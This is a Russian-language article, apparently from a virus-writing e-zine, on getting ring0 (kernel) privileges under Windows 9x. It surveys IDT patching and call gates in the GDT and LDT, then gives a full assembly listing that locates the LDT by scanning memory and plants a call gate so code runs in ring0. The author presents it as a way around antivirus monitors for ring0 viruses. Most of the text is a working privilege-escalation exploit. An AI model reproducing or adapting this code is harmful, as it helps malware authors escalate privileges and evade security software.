Казалось бы, чего проще, уж это-то сегодня каждый делать умеет. На
самом деле здесь все не так уж просто.
Обзор методов:
I. Модифкация IDT.
Суть его заключается в том, что стоит лишь пропатчить шлюз в таблице
дескрипторов прерываний (IDT) так, чтобы он указывал на НАШ код, а затем
вызвать патченное прерывание, и вот уже НАШ код выполняется в 32-битном
сегменте с правами r0.
Вообще, модификация IDT возможна только в глючных win9x, которые не
заботятся о защите IDT на уровне страниц.
Плюсом этого метода является его простота. Минус на сегодняшний день
достаточно БОЛЬШОЙ: некоторые распространенные а/в мониторы уже умеют
самостоятельно защищать IDT, изменяя биты доступа страницы памяти. Т.е.
при попытке чтения/записи по адресу, полученному от команды SIDT
происходит исключение, и винда завершает програму.
II. Создание собственного Шлюза.
Если в методе I использовался готовый шлюз из таблицы прерваний, то
теперь (IDT защищена) необходимо самим заботится о его построении в одной
из системных таблиц. Важный вопрос II метода: ГДЕ строить шлюз?
1. Построение шлюза в GDT.
Адрес таблицы глобальных дескрипторов узнать не сложно (SGDT). Затем
необходимо выделить в ней ДВА дескриптора (для шлюза и собственно для
нового сегмента кода). Строится сегмент кода (32bit, CPL0 и все такое),
можно также использовать готовый виндовский дескриптор 28. Записывается
шлюз, указывающий на новый сегмент кода. Производится загрузка
дескриптора шлюза в CS.
Данный прием использовался в большинстве r0 вирусов до недавнего
времени. Затем а/в/м научились защищать GDT :-( Казалось бы,
модифицирование прав доступа страницы памяти, где расположена ГЛАВНАЯ
системная таблица должно было привести к сбою в системе, НО... мы имеем
дело с виндами, а они, как известно, must die.
Защитив GDT от записи, а/в отрезали нам еще один путь выхода на
свободу (т.е. в r0).
2. Построение шлюза в LDT.
В абсолютно ничем не отличается от метода 1. Для того, чтобы начать
работать с LDT необходимо узнать ее адрес. Это легко можно сделать, если
GDT не защищена только от ЗАПИСИ. В этом случае:
1. Получаем селектор LDT (SLDT)
2. Получаем базу GDT (SGDT)
3. Складываем базу GDT и адрес дескриптора LDT (селектор AND not 111b)
4. Получаем базу LDT.
3. Строим шлюз и вызываем его.
НО! Если GDT защищена от ЧТЕНИЯ, то описанный выше прием не проходит,
выкидываясь по эксцепшену на шаге (4), где приходится ЧИТАТЬ GDT.
До сегодняшнего дня самым надежным методом перехода в ring0 считался
метод II-2. Мониторы ЕЩЕ НЕ "НАУЧИЛИСЬ" (чему там учиться ;) защищать
GDT от чтения, хотя подобная защита вполне реальна.
Те, кто знаком с разработками в этом направлении человека по имени
ZOMBiE, наверняка знают о существовании программки GDTPROT, которая,
запущенная один раз модифицирует права доступа страницы GDT так, что
после этого НИКТО не может выйти в ring0 через GDT. Даже она сама при
повторном запуске выдаст 0Eh эксцепшен.
Все вышесказанное было вышесказано (;) для того, чтобы вкратце
обрисовать ситуацию с получением ring0 прав под Виндами.
А теперь соль всей этой болтовни. Новый ход в игре с а/в/м - переход в
ring0 ВООБЩЕ НЕ ИСПОЛЬЗУЮЯ GDT. Логика такова: раз метод II-2 затыкается
на шаге (4), т.е. в процессе получения базового адреса LDT через GDT,
значит мы будем получать этот адрес как-то по-иному.
Казалось бы, все, что мы знаем о LDT, это то, что она находится где-то
в памяти и ее селектор лежит в GDT (возвращается командой SLDT). К GDT не
подступишься - защищена на уровне страниц.
Как говорил мой препод мат.анализа: "если в задаче не хватает условий,
мы их элементарно до-бав-ля-ем!"
Действительно, т.к. мы ищем решение _только_ для работы под Виндами,
то можно принять некоторые дополнительные условия (из личного опыта):
a) LDT находится в памяти ВЫШЕ адреса 80000000h, т.е. первые 2Гб
из поиска можно выкинуть сразу.
б) (LDT.limit + 1) mod 1000h = 0.
Другими словами, лимит LDT в Виндах может принимать значения
0FFFh, 1FFFh, 2FFFh, ..., xFFFh
Это ОЧЕНЬ важное допущение.
в) В Виндах в LDT __ВСЕГДА__ есть дескриптор, описывающий саму
LDT, т.н. alias (тестировалось на разных версиях win98).
д) При загрузке PE-файла достаточно часто можно определить
лимит LDT таким способом: limit = (FS AND not 0FFFh) + 1FFFh
(Выполняется не всегда и не может служить достоверной основой
поиска)
Intel предусмотрела 2 классные команды, благодаря которым мы можем
узнать некоторые поля LDT:
LSL - получить лимит сегмента
LAR - получить права сегмента
Также эти команды сбрасывают ZF, ежели сегмент недоступен нам,
скромным пользователям ;-E.
Теперь мысли:
I.Поиск alias'а LDT в LDT.
Данный метод полостью основан на предположениях (б) и (в) и
неработоспособен в случае невыполнения хотя бы одного из них.
Предположение (д) используется лишь для улучшения поиска.
Суть.
1. Определяем/предполагаем лимит LDT.
2. Посредством команды LSL ищем подходящий селектор.
3. Проверяем его.
4. Проверяем известные нам поля LDT.
5. Выходим, если найдена LDT; циклим в противном случае.
II. Поиск LDT в памяти.
Суть.
1. Определяется содержимое LDT или его часть.
2. Память сканируется на предмет содержания там этой части.
3. Делаются дополнительные проверки по вкусу.
Пункт (1) может быть реализован через LSL/LAR или, что более
предпочтительно, через DPMI, если он доступен. Пункт (2) реализовать
несколько сложнее, с учетом того, что система использует виртуальную
память, и многих страниц в памяти может просто не быть. Следовательно, мы
должны отслеживать ошибки обращения к памяти, используя исключения.
В DPMI для этого есть спец. функции.
В Win32 - SEH.
Я написал пример для запуска из v86, т.е. с использованием DPMI.
лировать:
; tasm /m seldt.asm
; tlink /x /t /3 seldt.obj
;--------------------------------------------------------------------
;Баги:
; - множество упрощений, в связи с чем может глючить
; - оставляет шлюз в LDT (раз 100 запустить и п..дец)
; * тестировалась только на win98
;--------------------------------------------------------------------
;
.model tiny ;Хехе ;)
.code ;
p386 ;
;
Org 100h ;Компилировать в COM
;
SELS_TO_SCAN = 30 ;Сколько селекторов LDT будем
;сканировать в поисках
;доступного.
SELS_TO_SAVE = 4 ;Сколько селекторов сохраняем
;для
;поиска (сигнатура LDT ;)
;
JUMPS ;
LOCALS ;
;
Start: ;Инициализация
int 3 ;
lea sp, stacky_end ;
mov ah, 4Ah ;
mov bx, (space-start+100h+0Fh)/10h
int 21h ;
;
mov ax, ss ;
mov fs, ax ;
mov ds, ax ;
mov es, ax ;
;
mov ax, 1687h ;
int 2Fh ;Есть DPMI?
or ax, ax ;
jnz Exit ;На хер...
;
push es ;Готовимся
push di ;
pop PM_Entry ;
;
mov ah, 48h ;
mov bx, si ;
int 21h ;
jc Exit ;
;
mov es, ax ;
xor ax, ax ;
call PM_Entry ;Поехали в PM16
jc Exit ;
;
mov psp_sel, es ;Сохраним селектор на PSP
;
xor ax, ax ;Выделим 1 селектор в LDT
mov cx, 1 ;
int 31h ;
mov scn_sel, ax ;
;
mov ax, 111b ;Ищем первый доступный селектор
mov cx, SELS_TO_SCAN ;
;
@@search_sel: ;
add ax, 8 ;
lar bx, ax ;
loopnz @@search_sel ;
mov start_sel, ax ;
;
mov ax, 7 ;SCN_SEL.base = 80000000h
mov bx, scn_sel ;
mov cx, 8000h ;
xor dx, dx ;
int 31h ;
mov ax, 9 ;SCN_SEL.rights =
;32bit&Data&Writable
mov cl, 11110010b ;
mov ch, 01000000b ;
int 31h ;
mov ax, 8 ;SCN_SEL.limit = 0FFFFFFFh
mov cx, 0FFFh ;
mov dx, 0FFFFh ;
int 31h ;
mov fs, bx ;
;
mov ax, 202h ;Сохраним старый обработчик
;exp0Eh
mov bl, 0Eh ;
int 31h ;
mov OldExp0E_o, edx ;
mov OldExp0E_s, cx ;
;
mov cx, cs ;Установим новый
lea edx, large exception0E ;
mov ax, 203h ;
mov bl, 0Eh ;
int 31h ;
;
lea edi, large sels ;Прочитаем селекторы
;(сигнатуру LDT)
push ds ;
pop es ;
mov bx, start_sel ;
mov cx, SELS_TO_SAVE ;
;
@@save_sels: ;
mov ax, 0Bh ;
int 31h ;
add bx, 8 ;
scasd ;
scasd ;
loop @@save_sels ;
;
xor esi, esi ;Начинаем поиск LDT
lea edi, large sels ;
mov eax, [edi] ;
mov edx, [edi+4] ;
;
int 3 ;
;
search_LDT: ;
cmp eax, fs:[esi] ;Здесь уже может быть эксцепшен
jne iterate ;
cmp edx, fs:[esi+4] ;
jne iterate ;
;Если совпали первые 8 байт
int 3 ;
call Compare_Mem ;Проверяем полностью
jc iterate ;Не то...
;
movzx eax, start_sel ;Вычисляем базу LDT
and al, 11111000b ;
sub eax, esi ;
neg eax ;
add eax, 80000000h ;
test ax, 0FFFh ;Под Виндами должен быть 0
jz restore_someth ;
mov eax, [edi] ;
;
iterate: ;
add esi, 4 ;Следующий адрес
cmp esi, 0FFFFFFFh-4 ;
jbe search_LDT ;
;
xor eax, eax ;Ничего не нашли ;-(
;
restore_someth: ;
push eax ;EAX = LDT.base
mov ax, 203h ;Восстанавливаем старый
;обработчик
mov bl, 0Eh ;
mov cx, OldExp0E_s ;
mov edx, OldExp0E_o ;
int 31h ;
mov ax, 1 ;Удаляем выделенный селектор
mov bx, scn_sel ;
int 31h ;
pop eax ;
;
or eax, eax ;
jz Game_Over ;
;
mov ldt_base, eax ;Сохраняем базу и лимит LDT
mov ldt_limit, 0FFFh ;
;
;--------------------------------------------------------------------
;Часть 2.
;База найдена, теперь строим шлюз.
;--------------------------------------------------------------------
push eax ;
pop dx ;
pop cx ;
mov ax, 7 ;
mov bx, psp_sel ;
mov es, bx ;
int 31h ;ES.base = LDT.base
;
mov ax, 8 ;
mov dx, word ptr ldt_limit ;
mov cx, word ptr ldt_limit+2 ;
int 31h ;ES.limit = LDT.limit
;
mov LDT_Sel, es ;
;
mov ecx, ldt_limit ;Выделим селектор
call Find_Free_Sel ;
jc Game_Over ;
mov byte ptr es:[edi], 1 ;
mov esi, edi ;
mov ecx, ldt_limit ;
call Find_Free_Sel ;Еще один
jc Game_Over ;
;
mov ax, 0Bh ;Копируем CS в новый селектор
mov bx, cs ;
int 31h ;
jc Game_Over ;
;
mov eax, edi ;
and byte ptr es:[eax+5], not (01100000b) ;CPL = 0
;
; or byte ptr es:[eax+6], 01000000b ;32bit
or byte ptr es:[eax+6], 00000000b ;16bit
;
or al, 100b ;
mov Ring0_CS, ax ;Сохраняем селектор на сегмент
;кода
;
cld ;Строим шлюз (aka CallGate)
mov eax, esi ;
or al, 111b ;use LDT & RPL = 3
mov CG_Sel, ax ;Сохраняем селектор шлюза
mov edi, esi ;
xor ax, ax ;
stosw ;0-15 байты смещения
mov ax, Ring0_CS ;
stosw ;селектор
mov ax, (11101100b) shl 8 ;
stosw ;
xor ax, ax ;
stosw ;
;
mov ax, ds ;
mov es, ax ;
;
push large offset R0_Proc ;
call Exec_On_Ring0 ;Выполняем функцию в ring0
;
Game_Over: ;
Exit: ;
mov ah, 4Ch ;
int 21h ;Выход!
;
;--------------------------------------------------------------------
; Вызывается, когда мы обращаемся к дурной странице.
;--------------------------------------------------------------------
exception0E: ;
add esi, 1000h-4 ;Пропускаем страничку
add sp, 8 ;
push offset iterate ;Меняем адрес возврата
sub sp, 6 ;
retf ;Возврат
;
;--------------------------------------------------------------------
; Эта процедурка будет выполняться с правами ring0
;--------------------------------------------------------------------
R0_proc proc ;
int 3 ;Для МягкогоЛьда
call beep ;Гудок
db 66h ;Возврат на ring3
retf ;
R0_proc endp ;
;
;--------------------------------------------------------------------
; Гудок портами на динамик.
; Выдернул из win95.julus, т.к. самому писать лениво ;-)
;--------------------------------------------------------------------
beep proc ;
pushad ;
mov ax, 1000 ;
mov bx, 200 ;
mov cx, ax ;
mov al, 0b6h ;
out 43h, al ;
mov dx, 0012h ;
mov ax, 34dch ;
div cx ;
out 42h, al ;
mov al, ah ;
out 42h, al ;
in al, 61h ;
mov ah, al ;
or al, 03h ;
out 61h, al ;
l1: ;
mov ecx, 4680 ;
l2: ;
loop l2 ;
dec bx ;
jnz l1 ;
mov al, ah ;
out 61h, al ;
popad ;
ret ;
beep endp ;
;
;--------------------------------------------------------------------
; Выполняет процедуру в ring0
;;-------------------------------------------------------------------
Exec_On_Ring0 proc PASCAL ;
USES edi ;
ARG Offs:DWord ;
;
push eax es ;EAX -> процедуру
mov eax, Offs ;
mov es, LDT_Sel ;ES = селектор НА LDT
movzx edi, CG_Sel ;EDI = селектор шлюза
and di, not (111b) ;
stosw ;Прописываем
scasd ;
shr eax, 16 ;
stosw ;
pop es eax ;
;
db 66h ;Вызов шлюза
db 9Ah ;
dd 'XXXX' ;
CG_Sel dw 0 ;
;
ret ;Возврат
Exec_On_Ring0 endp ;
;
;--------------------------------------------------------------------
; Сравнивает две сигнатуру с куском памяти.
; Если ексцепшен произойдет здесь, то п..дец ;)
;--------------------------------------------------------------------
Compare_Mem proc PASCAL ;
USES eax, esi, edi ;
;
mov ecx, SELS_TO_SAVE*8/4 ;
;
@@compare: ;
mov eax, ds:[edi] ;
cmp eax, fs:[esi] ;
stc ;
jne @@exit ;
add esi, 4 ;
add edi, 4 ;
dec ecx ;
jnz @@compare ;
clc ;
;
@@exit: ;
ret ;
Compare_Mem endp ;
;
;--------------------------------------------------------------------
; Находит свободный селектор в xDT
;--------------------------------------------------------------------
Find_Free_Sel proc ;ES S=> xDT, ECX = xDT.limit
inc ecx ;
shr ecx, 3 ;
mov edi, 8 ;
;
Search_GDT: ;
cmp dword ptr es:[edi], 0 ;Свободный?
je @@Exit ;
add edi, 8 ;
dec ecx ;
jnz Search_GDT ;
;
stc ;
;
@@Exit: ;
ret ;
Find_Free_Sel endp ;
;
;--------------------------------------------------------------------
Ring0_CS dw ? ;Селектор на сегмент кода в
;ring0
LDT_Sel dw ? ;Селектор на LDT
ldt_limit dd ? ;Лимит LDT
ldt_base dd ? ;База LDT
;
PM_Entry dd ? ;Точка входа DPMI
;
OldExp0E_o dd ? ;Место для сохранения старого
;обработчика
OldExp0E_s dw ? ;
psp_sel dw ? ;Селектор на PSP
;
start_sel dw ? ;Селектор начала сигнатуры
scn_sel dw ? ;Селектор для поиска
sels db SELS_TO_SAVE*8 dup (?) ;Место для сигнатуры
;
stacky db 1024*5 dup(?) ;Стек
stacky_End: ;
;
space: ;Космос ;)
;
ends ;
end start ;
Вот, пожалуй, и все, что мне хотелось бы сказать по этому поводу.
|